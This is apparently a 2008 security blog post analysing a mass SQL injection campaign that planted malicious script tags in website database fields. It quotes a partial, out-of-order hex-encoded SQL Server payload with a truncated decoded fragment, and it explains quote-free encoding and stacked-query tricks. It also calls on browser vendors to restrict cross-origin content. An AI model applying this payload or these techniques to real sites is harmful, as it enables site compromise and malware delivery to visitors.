Now that is some ownage! Dr. Evil would be proud.

No telnet, passive fingerprinting, limegreen terminals or nmap toys here, nope just plain old massive SQL injection and probably Google as a partner in crime. Really, If this[0] wasn't a wake up call on what is going on these days, let this be one.

I just read that F-secure found out that already 510.000 600.000++ new websites are hacked and more are being hacked while we speak. Among them the British government, United Nations and many more high targets. F-Secure gave away a partial SQL payload being injected, and as you can see below the SQL query -or stored procedure- is almost fully HEX encoded, which means that no single quote is being used. Casting in SQL server or simply HEX() or CONCAT(CHAR(),CHAR()) in MySQL is widely known, and a good alternative when single quotes are not allowed upon injection, which makes it far more reliable. In the case of SQL server -which allows query stacking by separating the queries with a semicolon- this is crucial for a guaranteed compromise through a webapplication. Usually only SQL Server allows query stacking, MySQL allows it also but not through a webapplication that uses mysql_query(). Of course I am not sure if this has happened here, but it is very likely judging by the encoded store procedure and my interest in SQL injection.

The payload injects every field it can find in a table, that is why you can track the attack through Google because it also inject title fields[2]. Clearly the attackers are going for quantity instead of quality. The fields are being filled with a Javascript source tag that carries the actual Malware that tries to exploit various kinds of media, like RealPlayer and so on.

   4C00410052004500200040005400200076006100720063006800610072

   00280032003500350029002C0040004300200076006100720063006800







   0063007400200061002E006E0061006D0065002C0062002E006E006100

   6D0065002000660072006F006D0020007300790073006F0062006A0065

   00630074007300200061002C0073007900730063006F006C0075006D00













   780074007900700065003D003300350020006...
   00780074007900700065003D003900390020006F007200200062002E00
   7900700065003D00270075002700200061006E0064002000280062002E
   003D0062002E0069006400200061006E006400200061002E0078007400
   6E00730020006200200077006800650072006500200061002E00690064
   43005500520053004F005200200046004F0052002000730065006C0065
   0020005400610062006C0065005F0043007500720073006F0072002000
   610072002800320035003500290020004400450043004C004100520045
   DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300

Decoded:

   DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor

   CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b

   where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35

   or b...

The attack is only successful when the program that is being injected does not sanitize user supplied data. But it only leads to successful attack if browsers allow non-same origin iframe requests or unauthorized requests[3]. That is why I call for browser vendors to restrict non-same origin Iframe or any other non-same origin content, or at least implement the possibility to flag off unauthorized requests beyond the same domain scope. Despite a compromised server, the surfer needs to be protected from non-same origin requests being made. Then such a massive Iframe attack will become redundant.

Dancho Danchev -an Independent Security Consultant- has done some very good analysis on the current attack as well as similar attacks[1]. Mandatory reading for anyone concerning webapplication security analysis in my opinion.

[0] http://www.0x000000.com/index.php?i=536

[1] http://ddanchev.blogspot.com/2008/04/united-nations-serving-malware.html

[2] http://www.google.com/search?hl=en&q=allintitle%3Ahttp%3Cscript+src%3D&btnG=Search&meta=

[3] http://www.0x000000.com/index.php?i=553